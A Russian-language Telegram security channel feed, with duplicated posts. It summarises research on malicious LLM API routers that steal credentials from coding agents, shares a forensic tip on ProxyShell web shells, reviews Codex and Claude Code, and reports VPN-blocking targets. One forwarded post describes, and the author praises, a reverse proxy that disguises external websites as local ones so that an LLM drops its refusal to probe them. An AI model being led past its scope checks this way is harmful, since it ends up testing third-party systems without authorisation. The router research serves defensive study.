А дальше они решили поиграть в разведку. Авторы намеренно слили один OpenAI-ключ в китайские форумы и Telegram-группы. Этот один ключ сгенерировал 100M токенов GPT-5.4 и 7+ Codex-сессий. Параллельно они подняли слабо сконфигурированные decoy-роутеры на 20 доменах. Через них прошло 2B токенов, утекло 99 credentials(!!!) из 440 Codex-сессий на 398 разных проектах. Из 440 сессий — 401 уже работала в YOLO mode (и снова, Б-Безопасность). Любой инжект — и агент выполнит что угодно.
И что же с этим всем делать??? подумал я и скажете вы.
Авторы предлагают три client-side меры:
1. fail-closed policy gate (блокирует shell-rewrite паттерны, 1% false positives). По сути, просто отсекать то, что мы считаем нелегитимным.
2. аномальный скрининг на стороне ответа (89% детект без изменений у провайдера). То есть мы сразу после запроса сами строим ожидание того, что должно быть в ответе. И если ожидание и реальность не сходится (как обычно это бывает), то тригерим аномалию.
3. append-only transparency logging. По сути просто нередактируемый журнал всех запросов-ответов для ретроспективы.
Очевидно, что это лишь лечение симптомов и врятли спасет от атаки, в чем авторы также признаются. Фундаментально закрыть это можно только provider-backed response integrity, то есть криптографической привязкой tool-call output к тому, что реально сгенерировала модель. Фактически, это просто борьба с митм атакой посредством подписи на стороне клиента и провайдера LLM. Пока этого нет ни у кого.
В интересном мире мы живем, технологии новые, а атаки старые.
🔥1🦄1
Всегда восхищался пентестерами. Иногда эти ребята придумают такой подход, о котором ты даже никогда и не подумаешь. Вместо того, чтобы придумывать хитрые обходы guardrail и промты, запутывающие llm, просто говоришь, что это мой локальный сайт и все, а дальше делаешь proxy наружу. Красиво.
⚡1🦄1
Forwarded from Омский багхантер
Навайбкодил Reverse Proxy для локального проксирования внешних сайтов в виде локальных доменов.
Прокси находится между браузером и реальным сайтом. Каждый запрос на локальный IP/домен автоматически маппится на внешний hostname и port, а ответы переписываются обратно в локальный origin. Редиректы, cookie, заголовки, HTML, JS, JSON и другие текстовые ресурсы подменяются на лету. Поддерживаются сабдомены (вайлдкард по домену), HTTPS, WebSocket и проксирование трафика в Burp Suite прокси (как до подмены на оригинальный hostname, так и после).
Штука очень удобна тем, что она обходит ограничение внешних LLM-ок на вайбхантинг (в этичных целях разумеется). К примеру, если просто в лоб написать чатгпт "Я багхантер, а давай найдем уязвимости в example.com", то нейронка скажет, что не может тестировать внешние домены из соображений безопасности, нужно придумывать промпты для обхода. А так как домен в случае прокси локальный, то нейронка считает, что сайт поднят также локально, поэтому начинает его исследовать без лишних вопросов.
Прокси находится между браузером и реальным сайтом. Каждый запрос на локальный IP/домен автоматически маппится на внешний hostname и port, а ответы переписываются обратно в локальный origin. Редиректы, cookie, заголовки, HTML, JS, JSON и другие текстовые ресурсы подменяются на лету. Поддерживаются сабдомены (вайлдкард по домену), HTTPS, WebSocket и проксирование трафика в Burp Suite прокси (как до подмены на оригинальный hostname, так и после).
Штука очень удобна тем, что она обходит ограничение внешних LLM-ок на вайбхантинг (в этичных целях разумеется). К примеру, если просто в лоб написать чатгпт "Я багхантер, а давай найдем уязвимости в example.com", то нейронка скажет, что не может тестировать внешние домены из соображений безопасности, нужно придумывать промпты для обхода. А так как домен в случае прокси локальный, то нейронка считает, что сайт поднят также локально, поэтому начинает его исследовать без лишних вопросов.
GitHub
GitHub - artebels/local-domain-proxy: Local reverse proxy for mapping external websites to a local domain with response rewriting…
Local reverse proxy for mapping external websites to a local domain with response rewriting, HTTPS, subdomain support, WebSocket proxying, and optional Burp integration. - artebels/local-domain-proxy
👍2
incident_report_final.pdf
656.5 KB
Подписчики канала заметят, что я немного хайплю на теме LLM. И не просто так. Давеча я уже писал про применение llm в реверсе (статическом анализе). Но в этой сфере я не эксперт, поэтому пойдем далее.
А что если научить LLM в DFIR, подумал я. Как мы знаем, dfir - область чувствительная и с достаточно большим (огромным) контекстом. И просто так натравить LLM на артефакты не выйдет. Здесь нет простого решения вроде IDA Pro, которая подходит для большинства бинарных файлов, все артефакты разные, системы разные, все разное.
К этому всему еще добавляется опыт, методологии, фреймворки и бла бла бла...
Но если всем этим не заморачиваться и дать YOLO mode для llm, что у нас получится?
Недавно, один из заокеанских экспертов выложил челендж по linux форензике. Про него мне рассказала моя знакомая, за что ей спасибо (Аня, передаю привет, я в телевизоре). Так как челендж уже закончен, можно кидать спойлеры. Внутри архив с UAC+memory dump.
Я сделал мультиагентную систему, которая провела полное расследование кейса, среди ролей были: дфир спец, реверс, verifier и report writer. Все это было через внутренние модели, без frontier opus 4.6 (уже 4.7) или GPT Pro.
В приложении я прикладываю финальный отчет агента по этому кейсу. Этот анализ не претендует на полноту или на абсолютную точность. Но можно согласиться, что выглядит очень круто.
У этой системы есть очень много узких мест, в которые она упиралась и упирается, над чем я сейчас и работаю.
Как доведу до какого-то персистентного состояния - обязательно расскажу.
А что если научить LLM в DFIR, подумал я. Как мы знаем, dfir - область чувствительная и с достаточно большим (огромным) контекстом. И просто так натравить LLM на артефакты не выйдет. Здесь нет простого решения вроде IDA Pro, которая подходит для большинства бинарных файлов, все артефакты разные, системы разные, все разное.
К этому всему еще добавляется опыт, методологии, фреймворки и бла бла бла...
Но если всем этим не заморачиваться и дать YOLO mode для llm, что у нас получится?
Недавно, один из заокеанских экспертов выложил челендж по linux форензике. Про него мне рассказала моя знакомая, за что ей спасибо (Аня, передаю привет, я в телевизоре). Так как челендж уже закончен, можно кидать спойлеры. Внутри архив с UAC+memory dump.
Я сделал мультиагентную систему, которая провела полное расследование кейса, среди ролей были: дфир спец, реверс, verifier и report writer. Все это было через внутренние модели, без frontier opus 4.6 (уже 4.7) или GPT Pro.
В приложении я прикладываю финальный отчет агента по этому кейсу. Этот анализ не претендует на полноту или на абсолютную точность. Но можно согласиться, что выглядит очень круто.
У этой системы есть очень много узких мест, в которые она упиралась и упирается, над чем я сейчас и работаю.
Как доведу до какого-то персистентного состояния - обязательно расскажу.
🔥4🍓1🦄1
Немного DFIR staff
А вы знали, что в 2026 все еще ломают через ProxyShell?
Если вы тоже столкнетесь с такой ситуацией, то, вероятно, увидите не один и не два веб шела.
В этом случае интересно восстановить, с какой интенсивностью и как часто пробивали сервер.
Но многих файлов может уже не быть, логи затерты, следов не осталось. В таком случае можно пойти и посмотреть:
-
Внутри будет либо скомпилированный код, либо просто кеш используемых NET модулей. Важно, что здесь данные появятся только при исполнении кода, в случае с веб-шеллом - при первом обращении к нему.
Так, я смог восстановить информацию, что шелы были и в 2022 году на этом сервере, хотя ни логов, ни самих шелов уже давно нет.
А вы знали, что в 2026 все еще ломают через ProxyShell?
Если вы тоже столкнетесь с такой ситуацией, то, вероятно, увидите не один и не два веб шела.
В этом случае интересно восстановить, с какой интенсивностью и как часто пробивали сервер.
Но многих файлов может уже не быть, логи затерты, следов не осталось. В таком случае можно пойти и посмотреть:
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\e22c2559\92c7e946\Внутри будет либо скомпилированный код, либо просто кеш используемых NET модулей. Важно, что здесь данные появятся только при исполнении кода, в случае с веб-шеллом - при первом обращении к нему.
Так, я смог восстановить информацию, что шелы были и в 2022 году на этом сервере, хотя ни логов, ни самих шелов уже давно нет.
👍3🦄1
Заметки на полях вайбкодинга.
Вообще я по жизни не программист, но в ходе своего профессионального и личного развития часто сталкивался с написанием скриптов, автоматизациями и в целом анализом кода (было время - фаззил PostgreSQL даже и анализировал уязвимости в ядре Linux). В итоге это сформировало общее понимание написания хорошего кода и устойчивых систем без самого навыка, ну может быть чуть-чуть.
Начиная с момента, когда я начал программировать, я написал сам десятки-сотни тысяч строк различного кода, но начиная с начала 2026 года я отдал мейнтейнить свои системы агентам. Где-то это открытые ллм, где-то внутри контура, но код я сам писать перестал вообще, кроме каких-то узких ситуаций.
Опущу свои восторженные нахваливания ИИ в этом вопросе (поверьте, если ставить правильно задачу и вы не senior software engineer - то LLM пишет код лучше вас), и остановлюсь на своем опыте использования двух frontier продуктов Codex и Claude Code с точки зрения человека, разрабатывающего различные продукты и в ИБ и в ИТ сейчас, но не являющегося программистом.
Мои впечатления
Codex
Сразу бросается в глаза что Codex - это продукт для масс. Очень много коннекторов, графический интерфейс, мини браузер прям в приложении, возможность выбора темы, интеграция с приложениями на десктопе и так далее. Это все создает очень большую вариативность по сценариям использования и выглядит понятно для обывателя.
Вместе с тем есть и огрехи: отображение оставшегося количества токенов не всегда интуитивное, иногда вообще неясно, что делает llm с кодом (как-то непонятно, какие изменения вносятся), иногда модель тупит с просто чтением веб страницы, пытается выполнить скрепинг через curl или urllib. Контекста только 256 тысяч, но сохраняет его неплохо между переполнением. Не очень хорошо работает со скиллами и агентами. Для их применения нужно прямо напрямую просить, сам агент до этого не доходит (может нужно усилить общий промт для проекта).
По качеству кода у меня нет вопросов. Еще мне не хватило, чтобы модель сама автоматом распознала, когда нужно переключиться в режим плана, а когда сразу делать.
Еще минус что в Codex нельзя использовать Pro модель Chatgpt ни при каких подписках, это немного расстроило, потому что иногда хочется натравить Pro модель на какое-то исследование в рамках твоей кодовой базы (или реального инцидента😀 ).
Claude Code
Интерфейс чат бота внутри IDE либо TUI в терминале. Явно не для массового пользователя, а для тех, кто хоть когда-то писал код. Коннекторов из коробки не так много, компьютером управлять не умеет, песочница по умолчанию у него менее ограничения, чем в Codex. Все это компенсируется очень чутким пониманием структуры агентских инструкций и использованием MCP. Мне как человеку, кто писал код и видел код зрелый, сразу понятно, как нужно разложить файлики, что туда написать, какие скилы удобно делать. Сам агент очень удачно распознает, когда какой скил взять и сам предлагает это.
С агентами та же история, что в кодекс, если не вызвать explicit, то их не будет. Код пишет хорошо. Отдельная киллер-фича - контекст на миллион токенов, это просто круто. Иногда у меня создается впечатление, что он все-таки где-то в фоне сжимается, но может я не прав.
По интерфейсу мне все нравится, причем агент именно заточен на написание скиллов по умолчанию и часто сам предлагает такие вещи.
Выводы
Если у вас хороший технический бекграунд (а тут большинство таких, я думаю) - начинайте с Claude Code. Такой подход опасен тем, что к Codex потом не привыкнуть (как вышло у меня в итоге).
Если вы чувствуете себя больше художником - попробуйте Codex, кажется, что для таких задач он более удобен.
А вообще лучше взять и сравнить самому.
Вообще я по жизни не программист, но в ходе своего профессионального и личного развития часто сталкивался с написанием скриптов, автоматизациями и в целом анализом кода (было время - фаззил PostgreSQL даже и анализировал уязвимости в ядре Linux). В итоге это сформировало общее понимание написания хорошего кода и устойчивых систем без самого навыка, ну может быть чуть-чуть.
Начиная с момента, когда я начал программировать, я написал сам десятки-сотни тысяч строк различного кода, но начиная с начала 2026 года я отдал мейнтейнить свои системы агентам. Где-то это открытые ллм, где-то внутри контура, но код я сам писать перестал вообще, кроме каких-то узких ситуаций.
Опущу свои восторженные нахваливания ИИ в этом вопросе (поверьте, если ставить правильно задачу и вы не senior software engineer - то LLM пишет код лучше вас), и остановлюсь на своем опыте использования двух frontier продуктов Codex и Claude Code с точки зрения человека, разрабатывающего различные продукты и в ИБ и в ИТ сейчас, но не являющегося программистом.
Мои впечатления
Codex
Сразу бросается в глаза что Codex - это продукт для масс. Очень много коннекторов, графический интерфейс, мини браузер прям в приложении, возможность выбора темы, интеграция с приложениями на десктопе и так далее. Это все создает очень большую вариативность по сценариям использования и выглядит понятно для обывателя.
Вместе с тем есть и огрехи: отображение оставшегося количества токенов не всегда интуитивное, иногда вообще неясно, что делает llm с кодом (как-то непонятно, какие изменения вносятся), иногда модель тупит с просто чтением веб страницы, пытается выполнить скрепинг через curl или urllib. Контекста только 256 тысяч, но сохраняет его неплохо между переполнением. Не очень хорошо работает со скиллами и агентами. Для их применения нужно прямо напрямую просить, сам агент до этого не доходит (может нужно усилить общий промт для проекта).
По качеству кода у меня нет вопросов. Еще мне не хватило, чтобы модель сама автоматом распознала, когда нужно переключиться в режим плана, а когда сразу делать.
Еще минус что в Codex нельзя использовать Pro модель Chatgpt ни при каких подписках, это немного расстроило, потому что иногда хочется натравить Pro модель на какое-то исследование в рамках твоей кодовой базы (или реального инцидента
Claude Code
Интерфейс чат бота внутри IDE либо TUI в терминале. Явно не для массового пользователя, а для тех, кто хоть когда-то писал код. Коннекторов из коробки не так много, компьютером управлять не умеет, песочница по умолчанию у него менее ограничения, чем в Codex. Все это компенсируется очень чутким пониманием структуры агентских инструкций и использованием MCP. Мне как человеку, кто писал код и видел код зрелый, сразу понятно, как нужно разложить файлики, что туда написать, какие скилы удобно делать. Сам агент очень удачно распознает, когда какой скил взять и сам предлагает это.
С агентами та же история, что в кодекс, если не вызвать explicit, то их не будет. Код пишет хорошо. Отдельная киллер-фича - контекст на миллион токенов, это просто круто. Иногда у меня создается впечатление, что он все-таки где-то в фоне сжимается, но может я не прав.
По интерфейсу мне все нравится, причем агент именно заточен на написание скиллов по умолчанию и часто сам предлагает такие вещи.
Выводы
Если у вас хороший технический бекграунд (а тут большинство таких, я думаю) - начинайте с Claude Code. Такой подход опасен тем, что к Codex потом не привыкнуть (как вышло у меня в итоге).
Если вы чувствуете себя больше художником - попробуйте Codex, кажется, что для таких задач он более удобен.
А вообще лучше взять и сравнить самому.
Please open Telegram to view this post
VIEW IN TELEGRAM
🦄1
Всем доброго послепраздничного утра!
Если вы до сих пор думаете, как красиво обосновать свои KPI перед руководством или ломаете голову, а как же измерять наш результат - вот вам бест практис от регулятора.
Если вы до сих пор думаете, как красиво обосновать свои KPI перед руководством или ломаете голову, а как же измерять наш результат - вот вам бест практис от регулятора.
🦄1
Forwarded from kolomychenko:~$ access_granted
🎯Роскомнадзор должен добиться 92%-й эффективности блокировки VPN – что бы это ни значило =)
Мы уже привыкли, что российские власти особо не утруждают себя даже формальной юридической упаковкой блокировок в Рунете. Например, на каком основании блокируют YouTube или “замедляют” Telegram? Их нет в реестре запрещённых сайтов, публичных решений судов или приказов органов власти тоже нет. С VPN – та же история. Нет ни одного официального документа, в котором бы шла речь о необходимости массовой блокировки VPN.
Но кое-что любопытное я все же нашла.
На сайте Роскомнадзора есть PDF от января этого года – это формальный документ о порядке выдачи субсидии “Главному радиочастотному центру” (ГРЧЦ, подведомственное предприятие РКН). Деньги выделяются “на обеспечение функционирования автоматизированной системы обеспечения безопасности российского сегмента интернета” (АСБИ).
АСБИ — это система, которая управляет ТСПУ, то есть теми самыми техническими средствами противодействия угрозам, с помощью которых Роскомнадзор блокирует любые сайты и сервисы в Рунете.
💸И сам этот документ по сути формальность – он описывает порядок выдачи субсидии, которая уже заложена в бюджете. Согласно закону о федеральном бюджете, на работу АСБИ предусмотрено около 20 млрд рублей в 2026 году и еще столько же в 2027–2028 году суммарно.
А теперь главное – любую субсидию дают на конкретные цели, и результат достижения этих целей нужно как-то измерять. Поэтому при утверждении порядка предоставления субсидии заранее согласовывают конкретные показатели, которых получателю субсидии нужно достичь. И что мы видим в этом документе? К 2030 году ГРЧЦ должен:
И это одна из всего лишь трех задач, под достижение которых выделены все эти деньги. Две остальные - это добиться от ТСПУ скорости обработки трафика в 831 Тбит/с и пропускать через них 98% всего трафика в Рунете.
Не до конца понятно, что именно означают эти 92% эффективности блокировки VPN. Может, процент от всех существующих в магазинах приложений VPN или, например, долю российских пользователей, которые не используют VPN. Остается лишь вопрос, как эти проценты считать - но, думаю, чиновники, которые порой рассуждают о “деградации Telegram на 30%”, справятся=)
При этом четко обозначу сам факт: это первый официальный документ, где прямо зафиксировано, что у подведа Роскомнадзора стоит государственная задача по ограничению VPN — с конкретными KPI и десятками миллиардов рублей на реализацию.
@kolomychenko
Мы уже привыкли, что российские власти особо не утруждают себя даже формальной юридической упаковкой блокировок в Рунете. Например, на каком основании блокируют YouTube или “замедляют” Telegram? Их нет в реестре запрещённых сайтов, публичных решений судов или приказов органов власти тоже нет. С VPN – та же история. Нет ни одного официального документа, в котором бы шла речь о необходимости массовой блокировки VPN.
Но кое-что любопытное я все же нашла.
На сайте Роскомнадзора есть PDF от января этого года – это формальный документ о порядке выдачи субсидии “Главному радиочастотному центру” (ГРЧЦ, подведомственное предприятие РКН). Деньги выделяются “на обеспечение функционирования автоматизированной системы обеспечения безопасности российского сегмента интернета” (АСБИ).
АСБИ — это система, которая управляет ТСПУ, то есть теми самыми техническими средствами противодействия угрозам, с помощью которых Роскомнадзор блокирует любые сайты и сервисы в Рунете.
💸И сам этот документ по сути формальность – он описывает порядок выдачи субсидии, которая уже заложена в бюджете. Согласно закону о федеральном бюджете, на работу АСБИ предусмотрено около 20 млрд рублей в 2026 году и еще столько же в 2027–2028 году суммарно.
А теперь главное – любую субсидию дают на конкретные цели, и результат достижения этих целей нужно как-то измерять. Поэтому при утверждении порядка предоставления субсидии заранее согласовывают конкретные показатели, которых получателю субсидии нужно достичь. И что мы видим в этом документе? К 2030 году ГРЧЦ должен:
— Достичь “среднего уровня эффективности ограничения доступа к средствам обхода блокировок VPN за счёт сигнатур” в 92%.
И это одна из всего лишь трех задач, под достижение которых выделены все эти деньги. Две остальные - это добиться от ТСПУ скорости обработки трафика в 831 Тбит/с и пропускать через них 98% всего трафика в Рунете.
Не до конца понятно, что именно означают эти 92% эффективности блокировки VPN. Может, процент от всех существующих в магазинах приложений VPN или, например, долю российских пользователей, которые не используют VPN. Остается лишь вопрос, как эти проценты считать - но, думаю, чиновники, которые порой рассуждают о “деградации Telegram на 30%”, справятся=)
При этом четко обозначу сам факт: это первый официальный документ, где прямо зафиксировано, что у подведа Роскомнадзора стоит государственная задача по ограничению VPN — с конкретными KPI и десятками миллиардов рублей на реализацию.
@kolomychenko